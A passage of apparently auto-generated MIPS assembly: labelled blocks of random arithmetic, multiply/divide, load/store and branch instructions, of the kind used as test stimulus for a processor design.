mtlo $1
mthi $1
TAG40:
bltz $1, TAG41
sll $4, $1, 14
bne $4, $1, TAG41
sub $2, $4, $4
TAG41:
mult $2, $2
lhu $3, 0($2)
sltiu $2, $2, 14
sh $3, 0($3)
TAG42:
sb $2, 0($2)
sb $2, 0($2)
lbu $3, 0($2)
and $2, $2, $3
TAG43:
mthi $2
mult $2, $2
mult $2, $2
lui $4, 7
TAG44:
bne $4, $4, TAG45
slt $3, $4, $4
bgtz $4, TAG45
or $3, $3, $3
TAG45:
mfhi $1
bgez $3, TAG46
lh $2, 0($1)
mult $3, $2
TAG46:
mfhi $3
mfhi $2
addu $4, $3, $3
lui $3, 8
TAG47:
sll $0, $0, 0
addu $4, $3, $3
srav $1, $3, $4
sltu $1, $4, $1
TAG48:
lhu $2, 0($1)
mfhi $1
bgez $1, TAG49
mflo $1
TAG49:
lui $2, 12
div $2, $1
lb $2, 0($1)
lb $2, 0($2)
TAG50:
multu $2, $2
bltz $2, TAG51
divu $2, $2
lui $2, 15
TAG51:
multu $2, $2
nor $2, $2, $2
sll $0, $0, 0
andi $1, $2, 8
TAG52:
bne $1, $1, TAG53
mtlo $1
bgtz $1, TAG53
sh $1, 0($1)
TAG53:
beq $1, $1, TAG54
sh $1, 0($1)
bgtz $1, TAG54
sb $1, 0($1)
TAG54:
lui $4, 15
sw $1, 0($1)
mfhi $3
sll $0, $0, 0
TAG55:
andi $2, $1, 8
mult $1, $1
lui $3, 4
beq $1, $1, TAG56
TAG56:
lui $4, 0
mthi $3
lui $2, 1
beq $3, $2, TAG57
TAG57:
addiu $3, $2, 13
multu $3, $3
mtlo $3
sll $3, $3, 7
TAG58:
mthi $3
addiu $1, $3, 10
sll $0, $0, 0
bgtz $1, TAG59
TAG59:
andi $2, $1, 6
lui $3, 14
sh $1, 0($2)
mflo $2
TAG60:
bne $2, $2, TAG61
xori $2, $2, 2
sll $0, $0, 0
mtlo $2
TAG61:
divu $2, $2
mthi $2
blez $2, TAG62
lui $4, 3
TAG62:
bne $4, $4, TAG63
mult $4, $4
bne $4, $4, TAG63
mfhi $4
TAG63:
blez $4, TAG64
multu $4, $4
and $2, $4, $4
mtlo $4
TAG64:
sb $2, 0($2)
bne $2, $2, TAG65
lbu $4, 0($2)
srav $4, $4, $4
TAG65:
multu $4, $4
sh $4, 0($4)
lh $1, 0($4)
blez $1, TAG66
TAG66:
lui $4, 6
bltz $1, TAG67
sb $4, 0($1)
ori $2, $4, 11
TAG67:
sll $0, $0, 0
div $2, $2
lui $1, 6
sll $0, $0, 0
TAG68:
sll $0, $0, 0
mtlo $1
nor $3, $3, $3
mfhi $3
TAG69:
sll $4, $3, 5
mflo $1
bne $4, $3, TAG70
divu $1, $1
TAG70:
sltiu $4, $1, 5
bgez $1, TAG71
addi $4, $4, 9
bne $4, $4, TAG71
TAG71:
div $4, $4
divu $4, $4
sll $1, $4, 10
mflo $1
TAG72:
bne $1, $1, TAG73
mult $1, $1
mfhi $3
lw $2, 0($3)
TAG73:
div $2, $2
blez $2, TAG74
lui $1, 4
sll $0, $0, 0
TAG74:
sltiu $2, $1, 6
mtlo $1
bne $2, $2, TAG75
lui $1, 3
TAG75:
mtlo $1
sll $0, $0, 0
lui $3, 8
div $3, $1
TAG76:
mflo $2
divu $3, $3
divu $3, $2
andi $1, $2, 4
TAG77:
mfhi $4
bne $1, $4, TAG78
lhu $3, 0($1)
bgez $4, TAG78
TAG78:
sh $3, 0($3)
mfhi $2
xor $3, $2, $2
mfhi $3
TAG79:
srav $1, $3, $3
mult $3, $1
multu $3, $1
mfhi $4
TAG80:
mtlo $4
sh $4, 0($4)
andi $1, $4, 9
lui $1, 10
TAG81:
multu $1, $1
bgtz $1, TAG82
mtlo $1
div $1, $1
TAG82:
beq $1, $1, TAG83
sll $0, $0, 0
bgtz $1, TAG83
lw $4, 0($1)
TAG83:
andi $4, $4, 5
mfhi $3
srl $4, $4, 15
bgtz $4, TAG84
TAG84:
lui $3, 7
beq $3, $3, TAG85
multu $3, $4
mtlo $4
TAG85:
subu $4, $3, $3
lui $1, 9
or $3, $1, $1
multu $1, $1
TAG86:
lui $1, 9
sll $0, $0, 0
sll $0, $0, 0
bgtz $3, TAG87
TAG87:
lbu $3, 0($2)
sw $3, 0($3)
bne $2, $2, TAG88
multu $3, $2
TAG88:
lui $2, 7
sll $0, $0, 0
mfhi $4
div $4, $2
TAG89:
lui $1, 9
mfhi $3
lui $4, 10
addiu $4, $4, 6
TAG90:
divu $4, $4
or $1, $4, $4
mflo $3
bne $4, $4, TAG91
TAG91:
lui $2, 1
mflo $2
bgez $2, TAG92
slti $1, $2, 11
TAG92:
sll $3, $1, 4
lb $1, 0($1)
bne $3, $1, TAG93
lbu $3, 0($1)
TAG93:
mtlo $3
bgez $3, TAG94
mfhi $3
div $3, $3
TAG94:
sllv $4, $3, $3
beq $4, $3, TAG95
lui $1, 1
mthi $4
TAG95:
mult $1, $1
div $1, $1
divu $1, $1
bgtz $1, TAG96
TAG96:
sll $0, $0, 0
bltz $1, TAG97
mult $1, $1
lui $3, 12
TAG97:
sll $0, $0, 0
multu $3, $3
mflo $3
lui $4, 2
TAG98:
sll $0, $0, 0
div $4, $4
bgez $4, TAG99
sll $0, $0, 0
TAG99:
and $2, $2, $2
mfhi $4
multu $2, $2
lui $2, 5
TAG100:
blez $2, TAG101
sll $0, $0, 0
mult $3, $2
sll $0, $0, 0
TAG101:
slti $1, $1, 0
multu $1, $1
bltz $1, TAG102
srlv $2, $1, $1
TAG102:
sra $2, $2, 6
sra $4, $2, 2
mfhi $3
lhu $1, 0($4)
TAG103:
sh $1, 0($1)
multu $1, $1
ori $1, $1, 3
slti $3, $1, 1
TAG104:
mflo $3
sw $3, 0($3)
bltz $3, TAG105
lui $2, 3
TAG105:
bne $2, $2, TAG106
xori $4, $2, 14
mult $2, $2
lui $2, 13
TAG106:
bgez $2, TAG107
xori $4, $2, 7
beq $2, $2, TAG107
lui $1, 11
TAG107:
lui $2, 2
bne $2, $2, TAG108
xori $3, $1, 3
bltz $2, TAG108
TAG108:
mult $3, $3
mthi $3
mthi $3
bne $3, $3, TAG109
TAG109:
mthi $3
lui $1, 0
sltiu $1, $3, 2
div $1, $1
TAG110:
bltz $1, TAG111
mult $1, $1
mthi $1
mtlo $1
TAG111:
lui $3, 3
sll $0, $0, 0
beq $1, $3, TAG112
mtlo $3
TAG112:
divu $3, $3
sltiu $2, $3, 11
lhu $2, 0($2)
mtlo $2
TAG113:
mthi $2
blez $2, TAG114
lbu $3, 0($2)
addi $4, $3, 15
TAG114:
lui $1, 11
sll $0, $0, 0
bgez $4, TAG115
div $1, $4
TAG115:
mtlo $1
sll $0, $0, 0
bgez $3, TAG116
mthi $3
TAG116:
bne $3, $3, TAG117
lhu $1, 0($3)
multu $3, $1
mfhi $4
TAG117:
sb $4, 0($4)
lui $4, 9
sll $0, $0, 0
sll $0, $0, 0
TAG118:
sll $0, $0, 0
addu $3, $4, $1
mflo $3
lw $1, 0($3)
TAG119:
mult $1, $1
sll $4, $1, 9
mtlo $4
lb $4, 0($4)
TAG120:
bne $4, $4, TAG121
add $1, $4, $4
sb $4, 0($4)
bne $1, $4, TAG121
TAG121:
sra $2, $1, 8
sub $4, $2, $1
mfhi $4
beq $1, $1, TAG122
TAG122:
mfhi $2
sw $2, 0($4)
lb $2, 0($4)
mflo $2
TAG123:
mult $2, $2
bgtz $2, TAG124
mtlo $2
mthi $2
TAG124:
mthi $2
bgez $2, TAG125
mult $2, $2
lw $4, 0($2)
TAG125:
sll $2, $4, 7
lui $4, 10
sw $4, 0($2)
bgez $4, TAG126
TAG126:
lui $3, 12
div $3, $3
blez $4, TAG127
xori $2, $3, 4
TAG127:
lui $2, 11
sllv $4, $2, $2
lui $4, 14
lui $1, 3
TAG128:
sltiu $3, $1, 6
sra $3, $3, 14
sll $0, $0, 0
sltiu $2, $3, 15
TAG129:
nor $2, $2, $2
lui $2, 5
sll $0, $0, 0
bgtz $2, TAG130
TAG130:
subu $3, $2, $2
beq $3, $3, TAG131
sll $0, $0, 0
or $2, $3, $3
TAG131:
sll $0, $0, 0
mfhi $3
beq $2, $2, TAG132
lui $3, 9
TAG132:
andi $4, $3, 15
sltiu $4, $4, 2
addu $3, $4, $4
or $2, $3, $3
TAG133:
lui $4, 4
beq $2, $4, TAG134
ori $3, $4, 7
lb $1, 0($2)
TAG134:
bltz $1, TAG135
mthi $1
srl $2, $1, 14
subu $1, $1, $1
TAG135:
bgtz $1, TAG136
mfhi $4
mthi $4
bne $1, $4, TAG136
TAG136:
lb $4, 0($4)
sw $4, 0($4)
mtlo $4
mtlo $4
TAG137:
bne $4, $4, TAG138
slt $2, $4, $4
slt $1, $2, $2
sll $2, $4, 2
TAG138:
sb $2, 0($2)
mtlo $2
bne $2, $2, TAG139
mflo $4
TAG139:
bne $4, $4, TAG140
mfhi $3
sll $2, $3, 6
lui $4, 0
TAG140:
mtlo $4
mtlo $4
sw $4, 0($4)
sra $2, $4, 13
TAG141:
lhu $1, 0($2)
beq $2, $1, TAG142
mfhi $3
sll $4, $2, 11
TAG142:
bgtz $4, TAG143
nor $3, $4, $4
mfhi $3
mult $3, $3
TAG143:
slt $1, $3, $3
addu $1, $3, $3
addiu $1, $1, 7
sh $3, 0($3)
TAG144:
beq $1, $1, TAG145
mtlo $1
andi $3, $1, 4
ori $2, $3, 3
TAG145:
mult $2, $2
sh $2, 0($2)
sh $2, 0($2)
sh $2, 0($2)
TAG146:
lui $2, 6
beq $2, $2, TAG147
sll $0, $0, 0
sll $4, $2, 13
TAG147:
or $1, $4, $4
multu $1, $1
sb $1, 0($1)
multu $4, $1
TAG148:
bltz $1, TAG149
sw $1, 0($1)
sb $1, 0($1)
lui $2, 1
TAG149:
lui $1, 14
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
TAG150:
mthi $2
bltz $2, TAG151
lui $3, 11
sll $4, $3, 3
TAG151:
sltu $3, $4, $4
mflo $3
beq $3, $4, TAG152
lui $4, 6
TAG152:
mult $4, $4
sll $0, $0, 0
mflo $3
lui $4, 7
TAG153:
div $4, $4
lui $4, 8
bne $4, $4, TAG154
mflo $1
TAG154:
blez $1, TAG155
lui $1, 5
beq $1, $1, TAG155
subu $2, $1, $1
TAG155:
sll $3, $2, 3
bgez $2, TAG156
mtlo $2
beq $3, $2, TAG156
TAG156:
sh $3, 0($3)
lh $2, 0($3)
bne $2, $3, TAG157
lbu $2, 0($3)
TAG157:
bltz $2, TAG158
mtlo $2
mult $2, $2
lui $1, 0
TAG158:
mult $1, $1
bltz $1, TAG159
lui $1, 15
addu $3, $1, $1
TAG159:
and $1, $3, $3
bgtz $1, TAG160
mthi $3
or $1, $1, $3
TAG160:
lui $3, 13
mthi $3
lui $4, 7
bgtz $4, TAG161
TAG161:
sltiu $2, $4, 1
beq $4, $2, TAG162
multu $4, $2
mflo $1
TAG162:
sb $1, 0($1)
lbu $1, 0($1)
sb $1, 0($1)
blez $1, TAG163
TAG163:
mult $1, $1
xori $3, $1, 0
bne $3, $3, TAG164
sw $3, 0($3)
TAG164:
mfhi $4
or $1, $3, $4
lh $4, 0($3)
mthi $3
TAG165:
bgtz $4, TAG166
slt $3, $4, $4
mfhi $1
nor $2, $1, $1
TAG166:
multu $2, $2
sb $2, 1($2)
sb $2, 1($2)
mflo $2
TAG167:
bne $2, $2, TAG168
lui $2, 0
lbu $3, 0($2)
lbu $4, 0($2)
TAG168:
mthi $4
sb $4, -255($4)
blez $4, TAG169
div $4, $4
TAG169:
lui $2, 11
mflo $3
sll $0, $0, 0
lui $3, 15
TAG170:
mfhi $4
lw $1, 0($4)
mthi $4
sll $0, $0, 0
TAG171:
slt $1, $1, $1
bne $1, $1, TAG172
mflo $1
mthi $1
TAG172:
sb $1, 0($1)
divu $1, $1
slti $1, $1, 5
lb $1, 0($1)
TAG173:
sb $1, 0($1)
bltz $1, TAG174
lb $1, 0($1)
lui $2, 4
TAG174:
divu $2, $2
bgez $2, TAG175
slti $2, $2, 10
lui $4, 12
TAG175:
bgez $4, TAG176
lh $3, 0($4)
subu $3, $4, $4
bne $3, $3, TAG176
TAG176:
sra $1, $3, 0
bne $3, $1, TAG177
slt $4, $3, $1
sh $3, -511($3)
TAG177:
lui $1, 1
multu $4, $4
lui $2, 15
lui $3, 8
TAG178:
mult $3, $3
bne $3, $3, TAG179
sll $0, $0, 0
mult $3, $3
TAG179:
sll $0, $0, 0
sll $0, $0, 0
mfhi $4
mthi $1
TAG180:
lh $1, 0($4)
sb $4, 0($1)
sltu $2, $1, $4
lb $4, 0($1)
TAG181:
lbu $3, 0($4)
mflo $1
sb $1, 0($4)
divu $4, $4
TAG182:
multu $1, $1
mtlo $1
xor $4, $1, $1
sh $4, 0($1)
TAG183:
bne $4, $4, TAG184
mult $4, $4
bne $4, $4, TAG184
or $3, $4, $4
TAG184:
lb $2, 0($3)
bgtz $2, TAG185
mfhi $3
mthi $2
TAG185:
multu $3, $3
lh $2, 0($3)
mtlo $2
ori $3, $2, 4
TAG186:
mfhi $2
sllv $2, $2, $3
sllv $4, $2, $2
sltiu $1, $2, 5
TAG187:
lb $3, 0($1)
lw $1, 0($3)
sll $0, $0, 0
lbu $1, 0($3)
TAG188:
lhu $2, 0($1)
bltz $2, TAG189
mfhi $3
lui $1, 13
TAG189:
bgtz $1, TAG190
sll $3, $1, 4
mflo $4
sw $1, 0($4)
TAG190:
sll $2, $4, 13
bltz $2, TAG191
lw $1, 0($4)
mflo $1
TAG191:
sh $1, 0($1)
mfhi $2
mflo $2
lw $3, 0($2)
TAG192:
div $3, $3
mfhi $4
mfhi $3
xori $4, $3, 0
TAG193:
lui $1, 1
srlv $1, $1, $4
bgtz $1, TAG194
mflo $4
TAG194:
slti $1, $4, 11
lui $1, 6
bltz $1, TAG195
mtlo $4
TAG195:
mfhi $4
addu $4, $1, $4
slti $3, $4, 15
srl $4, $4, 1
TAG196:
sll $0, $0, 0
bne $4, $4, TAG197
mthi $4
addiu $1, $4, 6
TAG197:
bne $1, $1, TAG198
sll $0, $0, 0
sh $3, 0($3)
andi $2, $3, 3
TAG198:
sub $4, $2, $2
lh $1, 0($4)
sltu $2, $2, $1
beq $2, $1, TAG199
TAG199:
sh $2, 0($2)
sh $2, 0($2)
lui $4, 4
mfhi $4
TAG200:
multu $4, $4
srl $1, $4, 2
addiu $1, $1, 11
mult $4, $1
TAG201:
slti $2, $1, 7
sll $0, $0, 0
mthi $1
lui $4, 13
TAG202:
sll $0, $0, 0
multu $4, $4
mtlo $4
addiu $4, $4, 10
TAG203:
sll $4, $4, 14
beq $4, $4, TAG204
sll $0, $0, 0
bne $4, $4, TAG204
TAG204:
multu $3, $3
lui $1, 2
mtlo $1
mflo $1
TAG205:
sll $0, $0, 0
lhu $1, 0($2)
mthi $2
mult $1, $1
TAG206:
andi $1, $1, 10
lui $4, 8
blez $1, TAG207
addu $1, $1, $1
TAG207:
bltz $1, TAG208
lh $3, 0($1)
lui $4, 15
mfhi $3
TAG208:
mtlo $3
addi $1, $3, 6
mfhi $2
bgtz $3, TAG209
TAG209:
sb $2, 0($2)
ori $4, $2, 5
lui $4, 15
bne $2, $4, TAG210
TAG210:
div $4, $4
srl $2, $4, 13
bltz $4, TAG211
lb $1, 0($2)
TAG211:
mtlo $1
lui $4, 12
sll $0, $0, 0
bgez $1, TAG212
TAG212:
and $3, $1, $1
sb $3, 0($1)
addiu $1, $3, 5
sh $1, 0($1)
TAG213:
xori $4, $1, 15
multu $4, $4
beq $1, $4, TAG214
lb $3, 0($4)
TAG214:
bne $3, $3, TAG215
and $3, $3, $3
sw $3, 0($3)
sh $3, 0($3)
TAG215:
bgtz $3, TAG216
mult $3, $3
lh $2, 0($3)
lh $3, 0($2)
TAG216:
bgez $3, TAG217
mult $3, $3
lh $1, 0($3)
div $1, $3
TAG217:
bne $1, $1, TAG218
sw $1, 0($1)
div $1, $1
mflo $3
TAG218:
nor $2, $3, $3
beq $2, $3, TAG219
multu $3, $2
sb $2, 0($3)
TAG219:
mthi $2
mtlo $2
sb $2, 2($2)
lb $1, 2($2)
TAG220:
addu $2, $1, $1
div $1, $2
divu $1, $1
mtlo $2
TAG221:
lui $3, 9
sll $0, $0, 0
subu $4, $3, $3
bgtz $4, TAG222
TAG222:
mtlo $4
beq $4, $4, TAG223
multu $4, $4
lui $3, 11
TAG223:
beq $3, $3, TAG224
sllv $3, $3, $3
sw $3, 0($3)
bgtz $3, TAG224
TAG224:
addiu $3, $3, 15
mtlo $3
divu $3, $3
bgtz $3, TAG225
TAG225:
sll $0, $0, 0
mfhi $4
bltz $1, TAG226
sw $4, 2($1)
TAG226:
addu $1, $4, $4
multu $4, $1
lui $3, 15
addiu $2, $3, 12
TAG227:
mflo $1
lui $1, 2
lui $3, 2
sll $0, $0, 0
TAG228:
mthi $4
multu $4, $4
lui $4, 2
sll $0, $0, 0
TAG229:
sll $0, $0, 0
mfhi $4
sw $4, 0($4)
mtlo $4
TAG230:
sllv $2, $4, $4
mtlo $4
bgez $2, TAG231
sh $4, 0($4)
TAG231:
sll $4, $2, 13
sh $4, 0($2)
beq $4, $4, TAG232
slti $1, $2, 4
TAG232:
sra $4, $1, 4
sb $4, 0($1)
addiu $3, $1, 3
mflo $4
TAG233:
bgtz $4, TAG234
lw $3, 0($4)
mthi $4
multu $3, $3
TAG234:
and $3, $3, $3
bne $3, $3, TAG235
mflo $2
bgez $2, TAG235
TAG235:
and $4, $2, $2
sh $4, 0($4)
sw $2, 0($2)
sw $2, 0($4)
TAG236:
mthi $4
bltz $4, TAG237
mult $4, $4
mflo $3
TAG237:
mtlo $3
sltu $4, $3, $3
lui $2, 15
sll $0, $0, 0
TAG238:
beq $2, $2, TAG239
lui $3, 1
subu $1, $2, $3
mflo $4
TAG239:
beq $4, $4, TAG240
srl $2, $4, 14
lui $3, 15
lui $2, 4
TAG240:
bne $2, $2, TAG241
mfhi $4
lw $3, 0($2)
bltz $3, TAG241
TAG241:
mthi $3
beq $3, $3, TAG242
mfhi $4
sllv $1, $4, $4
TAG242:
div $1, $1
andi $3, $1, 7
beq $3, $1, TAG243
sb $1, 0($3)
TAG243:
lui $1, 2
sra $3, $3, 4
sh $3, 0($3)
blez $3, TAG244
TAG244:
andi $1, $3, 15
bltz $1, TAG245
lh $4, 0($3)
or $4, $4, $4
TAG245:
lui $4, 7
lui $3, 2
lui $3, 3
or $3, $4, $3
TAG246:
sll $0, $0, 0
lui $4, 5
lui $1, 14
mtlo $4
TAG247:
xori $2, $1, 2
blez $2, TAG248
sll $0, $0, 0
bltz $1, TAG248
TAG248:
mthi $2
subu $2, $2, $2
add $4, $2, $2
slt $3, $4, $2
TAG249:
lh $4, 0($3)
bne $3, $3, TAG250
mfhi $2
bne $2, $4, TAG250
TAG250:
and $2, $2, $2
div $2, $2
mfhi $2
mthi $2
TAG251:
multu $2, $2
andi $4, $2, 8
lui $1, 3
beq $4, $1, TAG252
TAG252:
addu $1, $1, $1
srl $1, $1, 8
srav $2, $1, $1
addiu $3, $2, 10
TAG253:
sll $0, $0, 0
blez $3, TAG254
srav $2, $3, $3
mthi $3
TAG254:
beq $2, $2, TAG255
sb $2, 0($2)
beq $2, $2, TAG255
mthi $2
TAG255:
addiu $4, $2, 8
mfhi $4
sb $2, -1546($4)
lui $1, 3
TAG256:
sll $0, $0, 0
lui $4, 15
sll $0, $0, 0
mthi $4
TAG257:
div $1, $1
mtlo $1
bgtz $1, TAG258
divu $1, $1
TAG258:
bltz $1, TAG259
sll $0, $0, 0
blez $1, TAG259
mtlo $1
TAG259:
lui $1, 13
sll $0, $0, 0
mthi $1
blez $1, TAG260
TAG260:
sll $0, $0, 0
mflo $3
subu $1, $1, $1
sb $1, 0($1)
TAG261:
mtlo $1
mflo $4
slti $4, $1, 4
mflo $1
TAG262:
xor $3, $1, $1
slti $4, $1, 14
subu $4, $1, $4
sub $2, $1, $1
TAG263:
addiu $4, $2, 15
beq $2, $4, TAG264
lui $2, 9
div $2, $2
TAG264:
mflo $4
slti $1, $4, 15
lbu $4, 0($4)
xor $3, $2, $1
TAG265:
subu $1, $3, $3
sll $0, $0, 0
xor $3, $1, $3
sll $0, $0, 0
TAG266:
lbu $1, 0($4)
lui $2, 12
mthi $2
sll $0, $0, 0
TAG267:
addu $3, $1, $1
bgez $3, TAG268
sb $3, 0($1)
bne $3, $1, TAG268
TAG268:
sll $2, $3, 7
lui $3, 0
multu $3, $2
lui $4, 8
TAG269:
andi $2, $4, 12
divu $4, $4
andi $3, $4, 4
bgez $2, TAG270
TAG270:
andi $3, $3, 12
lh $4, 0($3)
xori $2, $3, 11
beq $2, $4, TAG271
TAG271:
lui $3, 11
bltz $2, TAG272
or $4, $2, $2
lbu $3, 0($2)
TAG272:
lhu $4, 0($3)
lhu $4, 0($3)
lui $3, 10
sll $0, $0, 0
TAG273:
sll $0, $0, 0
sll $0, $0, 0
mfhi $1
mfhi $4
TAG274:
blez $4, TAG275
andi $2, $4, 10
bgez $4, TAG275
lw $1, 0($4)
TAG275:
mtlo $1
sb $1, 0($1)
ori $2, $1, 0
sltiu $2, $1, 5
TAG276:
bgez $2, TAG277
xori $3, $2, 9
lbu $1, 0($2)
lui $4, 11
TAG277:
mflo $2
mult $4, $4
sub $3, $4, $2
mult $3, $2
TAG278:
nor $2, $3, $3
xori $1, $3, 10
bgez $3, TAG279
lh $3, 1($2)
TAG279:
sll $0, $0, 0
mfhi $2
lui $1, 3
mflo $1
TAG280:
sh $1, 0($1)
lbu $2, 0($1)
mthi $2
sw $1, 0($2)
TAG281:
mflo $2
mfhi $3
sh $2, 0($2)
lh $2, 0($3)
TAG282:
bne $2, $2, TAG283
sltu $1, $2, $2
bltz $1, TAG283
mthi $2
TAG283:
lui $1, 3
lui $4, 2
lui $4, 7
sll $0, $0, 0
TAG284:
mfhi $4
or $4, $3, $4
mthi $3
and $3, $4, $3
TAG285:
lw $3, 0($3)
lui $4, 13
and $1, $3, $3
blez $3, TAG286
TAG286:
andi $4, $1, 9
addi $3, $1, 15
lb $3, 0($1)
subu $3, $4, $1
TAG287:
mult $3, $3
lui $2, 6
multu $3, $3
or $2, $2, $2
TAG288:
lui $4, 9
lui $3, 3
sllv $1, $3, $3
bgtz $4, TAG289
TAG289:
lui $2, 0
bne $2, $1, TAG290
mult $2, $2
lbu $3, 0($2)
TAG290:
sll $0, $0, 0
addiu $2, $3, 10
subu $2, $3, $3
srl $4, $3, 6
TAG291:
lui $2, 15
multu $4, $4
lui $4, 11
beq $4, $4, TAG292
TAG292:
lui $1, 12
mfhi $3
bgez $4, TAG293
lb $3, 0($3)
TAG293:
mflo $3
beq $3, $3, TAG294
xori $4, $3, 0
bltz $4, TAG294
TAG294:
sll $0, $0, 0
mflo $1
sll $0, $0, 0
lui $2, 5
TAG295:
sll $0, $0, 0
mtlo $1
lui $2, 7
bne $1, $2, TAG296
TAG296:
mthi $2
mtlo $2
beq $2, $2, TAG297
sra $1, $2, 6
TAG297:
addu $3, $1, $1
lui $1, 1
bne $1, $1, TAG298
sll $0, $0, 0
TAG298:
lui $3, 6
mflo $1
sll $0, $0, 0
mult $1, $1
TAG299:
bltz $2, TAG300
srl $3, $2, 7
mflo $2
lb $4, 0($2)
TAG300:
lhu $1, 0($4)
sh $4, 0($1)
bne $4, $4, TAG301
addi $1, $4, 3
TAG301:
bne $1, $1, TAG302
ori $1, $1, 15
beq $1, $1, TAG302
lui $1, 10
TAG302:
lui $4, 6
sll $0, $0, 0
sll $0, $0, 0
mfhi $2
TAG303:
lui $1, 1
sb $2, 0($2)
lui $1, 5
mfhi $3
TAG304:
sb $3, 0($3)
lb $4, 0($3)
lb $1, 0($4)
div $4, $3
TAG305:
mflo $3
lui $2, 7
lbu $2, 0($1)
bne $3, $2, TAG306
TAG306:
div $2, $2
bgtz $2, TAG307
lui $1, 5
mthi $1
TAG307:
lui $2, 15
bne $1, $1, TAG308
or $4, $1, $2
sll $0, $0, 0
TAG308:
lui $1, 6
sltiu $1, $2, 12
sw $2, 0($1)
sll $0, $0, 0
TAG309:
mtlo $1
beq $1, $1, TAG310
lh $2, 0($1)
lw $1, 0($1)
TAG310:
lui $2, 5
mthi $2
lui $4, 1
bne $2, $1, TAG311
TAG311:
mult $4, $4
addiu $3, $4, 10
div $4, $4
blez $3, TAG312
TAG312:
mtlo $3
bne $3, $3, TAG313
lui $3, 14
divu $3, $3
TAG313:
xori $2, $3, 6
sll $0, $0, 0
andi $1, $3, 10
sll $0, $0, 0
TAG314:
bltz $1, TAG315
mflo $1
beq $1, $1, TAG315
sb $1, 0($1)
TAG315:
lui $1, 0
lui $4, 3
mfhi $1
lh $2, 0($1)
TAG316:
addiu $4, $2, 9
lui $2, 11
srlv $2, $4, $2
lb $4, -265($4)
TAG317:
mfhi $1
bltz $4, TAG318
mthi $4
lui $2, 15
TAG318:
sllv $1, $2, $2
mult $1, $1
div $1, $2
srl $3, $1, 4
TAG319:
mthi $3
ori $3, $3, 5
lui $4, 14
mfhi $1
TAG320:
mfhi $3
slti $3, $1, 11
mult $3, $3
nor $2, $3, $3
TAG321:
ori $4, $2, 4
mflo $2
lbu $4, 0($2)
xori $3, $2, 5
TAG322:
subu $1, $3, $3
bltz $1, TAG323
multu $1, $1
mflo $2
TAG323:
mfhi $2
lbu $2, 0($2)
lui $2, 4
bne $2, $2, TAG324
TAG324:
mthi $2
sll $0, $0, 0
mtlo $2
mtlo $2
TAG325:
lui $3, 3
mthi $2
blez $3, TAG326
lui $4, 7
TAG326:
sll $0, $0, 0
sll $0, $0, 0
srav $4, $4, $1
divu $4, $4
TAG327:
sll $0, $0, 0
mthi $4
bne $4, $4, TAG328
sll $0, $0, 0
TAG328:
andi $1, $4, 3
addi $1, $1, 10
div $4, $4
subu $4, $1, $4
TAG329:
bgez $4, TAG330
mtlo $4
sll $0, $0, 0
mfhi $2
TAG330:
bltz $2, TAG331
slt $3, $2, $2
mfhi $1
bgtz $3, TAG331
TAG331:
mtlo $1
bne $1, $1, TAG332
lui $2, 4
bltz $1, TAG332
TAG332:
or $3, $2, $2
lui $3, 15
lui $4, 6
lui $2, 2
TAG333:
beq $2, $2, TAG334
sll $0, $0, 0
lbu $3, 0($2)
sra $3, $3, 15
TAG334:
lui $2, 8
multu $3, $3
beq $3, $2, TAG335
sra $2, $3, 15
TAG335:
sb $2, 0($2)
bne $2, $2, TAG336
subu $4, $2, $2
mthi $2
TAG336:
multu $4, $4
beq $4, $4, TAG337
sb $4, 0($4)
slti $2, $4, 14
TAG337:
andi $3, $2, 7
divu $3, $2
sra $3, $2, 15
xori $4, $2, 2
TAG338:
subu $1, $4, $4
lw $4, 0($1)
mfhi $2
beq $4, $4, TAG339
TAG339:
mthi $2
blez $2, TAG340
mtlo $2
mtlo $2
TAG340:
lui $4, 2
bgez $2, TAG341
and $3, $2, $2
mtlo $3
TAG341:
lh $1, 0($3)
mthi $1
mflo $4
and $4, $3, $3
TAG342:
divu $4, $4
bgez $4, TAG343
andi $2, $4, 12
addi $3, $4, 3
TAG343:
sh $3, 0($3)
lui $3, 1
mtlo $3
sll $0, $0, 0
TAG344:
subu $1, $3, $3
mult $1, $3
mult $3, $1
slti $1, $1, 14
TAG345:
subu $3, $1, $1
lui $3, 10
subu $3, $3, $3
sb $3, 0($3)
TAG346:
nor $4, $3, $3
addu $1, $3, $4
mthi $1
bne $1, $3, TAG347
TAG347:
lui $1, 14
sll $0, $0, 0
lui $1, 11
addu $4, $1, $1
TAG348:
addu $4, $4, $4
divu $4, $4
mfhi $4
andi $3, $4, 5
TAG349:
slti $2, $3, 4
sub $3, $3, $3
bgez $3, TAG350
lui $4, 0
TAG350:
bne $4, $4, TAG351
mult $4, $4
lui $2, 10
blez $2, TAG351
TAG351:
xor $1, $2, $2
mtlo $2
sltiu $4, $2, 3
beq $1, $4, TAG352
TAG352:
lui $1, 10
mtlo $4
addu $3, $1, $4
mflo $2
TAG353:
sllv $2, $2, $2
multu $2, $2
multu $2, $2
bne $2, $2, TAG354
TAG354:
sllv $3, $2, $2
mflo $4
mflo $3
sh $4, 0($2)
TAG355:
ori $3, $3, 4
sh $3, 0($3)
mtlo $3
bgtz $3, TAG356
TAG356:
addiu $4, $3, 1
blez $4, TAG357
xori $3, $3, 13
bgtz $4, TAG357
TAG357:
lui $1, 6
sll $0, $0, 0
mult $1, $4
div $3, $3
TAG358:
bgez $4, TAG359
mflo $2
lw $2, 0($4)
sw $2, 0($2)
TAG359:
addu $1, $2, $2
sb $1, 0($2)
lb $4, 0($1)
mult $1, $2
TAG360:
lui $2, 3
mtlo $4
mtlo $2
beq $2, $4, TAG361
TAG361:
sll $3, $2, 9
bltz $3, TAG362
div $2, $2
mult $3, $3
TAG362:
sll $0, $0, 0
mthi $3
mthi $3
div $3, $3
TAG363:
mthi $3
bgez $3, TAG364
or $1, $3, $3
mflo $4
TAG364:
beq $4, $4, TAG365
lui $2, 13
lh $1, 0($4)
mthi $2
TAG365:
mtlo $1
bne $1, $1, TAG366
mtlo $1
mthi $1
TAG366:
beq $1, $1, TAG367
mflo $3
multu $1, $3
lui $3, 6
TAG367:
sll $0, $0, 0
sll $0, $0, 0
multu $3, $3
multu $3, $3
TAG368:
sra $1, $4, 5
sb $1, 0($4)
lb $2, 0($4)
div $4, $4
TAG369:
mflo $3
sh $3, 0($2)
sb $3, 0($3)
mflo $4
TAG370:
mult $4, $4
beq $4, $4, TAG371
lui $1, 0
sltiu $1, $1, 4
TAG371:
add $4, $1, $1
slti $2, $1, 3
ori $3, $2, 10
multu $1, $1
TAG372:
mflo $4
bgez $3, TAG373
sra $4, $3, 4
lbu $3, 0($3)
TAG373:
sll $3, $3, 10
sh $3, -11264($3)
andi $2, $3, 2
